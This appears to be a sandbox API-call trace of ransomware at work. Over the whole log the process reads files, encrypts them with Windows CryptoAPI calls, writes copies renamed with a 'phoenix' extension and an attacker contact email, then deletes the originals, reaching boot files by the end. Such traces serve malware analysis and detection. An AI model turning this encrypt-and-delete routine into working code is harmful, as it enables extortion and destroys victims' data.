	[0067.553] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x9882, lpOverlapped=0x0) returned 1
	[0067.597] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x9890, dwBufLen=0x9890 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x9890) returned 1
	[0067.597] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x9890, lpOverlapped=0x0) returned 1
	[0067.599] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0067.599] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.599] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0067.599] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0067.599] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0067.599] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0067.599] CloseHandle (hObject=0x324) returned 1
	[0067.599] CloseHandle (hObject=0x314) returned 1
	[0067.604] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1
	[0067.606] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.606] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.606] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=16118) returned 1
	[0067.606] CloseHandle (hObject=0x314) returned 1
	[0067.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0067.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.606] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.607] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.607] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.607] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.607] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa288) returned 1
	[0067.607] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.607] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x3ef6, lpOverlapped=0x0) returned 1
	[0067.721] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3f00, dwBufLen=0x3f00 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3f00) returned 1
	[0067.721] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x3f00, lpOverlapped=0x0) returned 1
	[0067.722] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa908) returned 1
	[0067.722] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.722] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0067.722] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0067.722] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0067.723] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0067.723] CloseHandle (hObject=0x314) returned 1
	[0067.723] CloseHandle (hObject=0x324) returned 1
	[0067.728] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1
	[0067.729] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.729] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.730] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=39050) returned 1
	[0067.730] CloseHandle (hObject=0x324) returned 1
	[0067.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0067.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.730] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.730] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.730] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.730] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0067.870] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa908) returned 1
	[0067.870] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.870] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x988a, lpOverlapped=0x0) returned 1
	[0067.897] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x9890, dwBufLen=0x9890 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x9890) returned 1
	[0067.897] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x9890, lpOverlapped=0x0) returned 1
	[0067.899] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa648) returned 1
	[0067.899] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.899] CryptEncrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0067.899] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0067.899] WriteFile (in: hFile=0x33c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0067.899] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0067.900] CloseHandle (hObject=0x324) returned 1
	[0067.900] CloseHandle (hObject=0x33c) returned 1
	[0067.916] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1
	[0067.918] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.918] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.924] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=272046) returned 1
	[0067.924] CloseHandle (hObject=0x324) returned 1
	[0067.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0067.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.924] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.924] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.924] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.924] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0067.925] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa7c8) returned 1
	[0067.925] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.925] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x426ae, lpOverlapped=0x0) returned 1
	[0068.034] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x426b0, dwBufLen=0x426b0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x426b0) returned 1
	[0068.034] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x426b0, lpOverlapped=0x0) returned 1
	[0068.041] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa948) returned 1
	[0068.041] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0068.041] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0068.041] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0068.041] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0068.041] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0068.041] CloseHandle (hObject=0x324) returned 1
	[0068.042] CloseHandle (hObject=0x310) returned 1
	[0068.049] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1
	[0068.052] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0068.053] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.053] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=41080) returned 1
	[0068.053] CloseHandle (hObject=0x310) returned 1
	[0068.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0068.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0068.053] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.053] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0068.053] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0068.053] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0068.054] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa748) returned 1
	[0068.054] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0068.054] ReadFile (in: hFile=0x310, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xa078, lpOverlapped=0x0) returned 1
	[0068.073] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xa080, dwBufLen=0xa080 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xa080) returned 1
	[0068.073] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xa080, lpOverlapped=0x0) returned 1
	[0068.075] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0068.075] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0068.075] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0068.075] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0068.075] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0068.075] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0068.075] CloseHandle (hObject=0x310) returned 1
	[0068.075] CloseHandle (hObject=0x324) returned 1
	[0068.078] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1
	[0068.080] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0068.080] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0068.080] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=14084) returned 1
	[0068.080] CloseHandle (hObject=0x324) returned 1
	[0068.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0068.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0068.080] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0068.081] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0068.081] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0068.081] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.081] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa908) returned 1
	[0068.081] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0068.081] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x3704, lpOverlapped=0x0) returned 1
	[0069.429] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3710, dwBufLen=0x3710 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x3710) returned 1
	[0069.429] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x3710, lpOverlapped=0x0) returned 1
	[0069.479] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa308) returned 1
	[0069.479] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0069.479] CryptEncrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0069.479] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0069.479] WriteFile (in: hFile=0x310, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0069.479] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0069.479] CloseHandle (hObject=0x324) returned 1
	[0069.479] CloseHandle (hObject=0x310) returned 1
	[0069.491] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1
	[0069.494] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0069.494] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0069.494] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0069.494] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0069.496] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=65536) returned 1
	[0069.496] CloseHandle (hObject=0x310) returned 1
	[0069.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0069.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0069.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0069.496] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.496] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0069.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
